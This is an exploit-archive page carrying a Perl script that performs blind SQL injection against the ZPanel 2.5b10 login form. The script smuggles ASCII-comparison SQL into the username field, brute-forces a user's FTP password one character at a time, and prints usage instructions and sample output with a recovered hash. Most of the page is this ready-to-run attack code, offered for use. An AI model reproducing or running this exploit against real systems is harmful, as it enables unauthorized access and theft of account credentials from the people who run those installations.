exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

r57zpanel.pl.txt

r57zpanel.pl.txt
Posted May 27, 2005
Authored by 1dt.w0lf, Foster | Site rst.void.ru

ZPanel version 2.5b10 and below remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | 0201e5bdb2344320ecb967f79caeea339dd570c1a21f88af8e8648ef854bf680

r57zpanel.pl.txt

Change Mirror Download
#!/usr/bin/perl

use LWP::UserAgent;

# ZPanel Ver. 2.5- Public BETA 2 (Release date: 1/15/2005)
# sql injection exploit with one char bruteforce
# work on all mysql versions

# --------------------------------------------------------
# example:
# r57zpanel.pl http://192.168.0.1/zpanel/index.php admin
# [~] PATH : http://192.168.0.1/zpanel/index.php
# [~] USERNAME : admin
# [~] SEARCHING PASSWORD ... [ DONE ]
#
# USER_NAME: admin
# FTP_PASS: 5f4dcc3b5aa765d61d8327deb882cf99
# --------------------------------------------------------
# bug found by foster
# exploit coded by 1dt.w0lf
# 02.04.05
# http://ghc.ru
# http://rst.void.ru

$path = $ARGV[0];
$username = $ARGV[1];

$s_num = 1;
$|++;
$n = 0;

if (@ARGV < 2) { &usage; }
print "[~] PATH : $path\r\n";
print "[~] USERNAME : $username\r\n";
print "[~] SEARCHING PASSWORD ... [|] [0]";

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar > 0)){
print "\b\b\b\b\b"."\b"x(length($n))." DONE ] ";
print qq{
USER_NAME: $username
FTP_PASS: $allchar
};
}
else
{
print "\b\b\b\b\b"."\b"x(length($n))." FAILED ] ";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$username2 = $username."' AND ascii(substring(ftppass,".$s_num.",1))".$ccheck." /*";
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($path,
{
"uname" => "$username2",
"passwd" => "RST&GHC",
"submit" => "Login"
}
);
@results = $res->content;

foreach $result(@results)
{
if ($result =~ /Incorrect password/) { return 1; }
}
return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b\b\b\b"."\b"x(length($n-1))."/] [".$n."]"; }
if($status==1){ print "\b\b\b\b\b"."\b"x(length($n-1))."-] [".$n."]"; }
if($status==2){ print "\b\b\b\b\b"."\b"x(length($n-1))."\\] [".$n."]"; }
if($status==3){ print "\b\b\b\b\b"."\b"x(length($n-1))."|] [".$n."]"; }
}

sub usage()
{
print q(
r57zpanel.pl - ZPanel ver 2.5-public beta 2 sql inj exploit
-----------------------------------------------------------
usage: r57zpanel.pl [path] [username]
[path] - path to zpanel index
[username] - username for bruteforce
e.g.
r57zpanel.pl http://192.168.0.1/zpanel/index.php admin
-----------------------------------------------------------
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close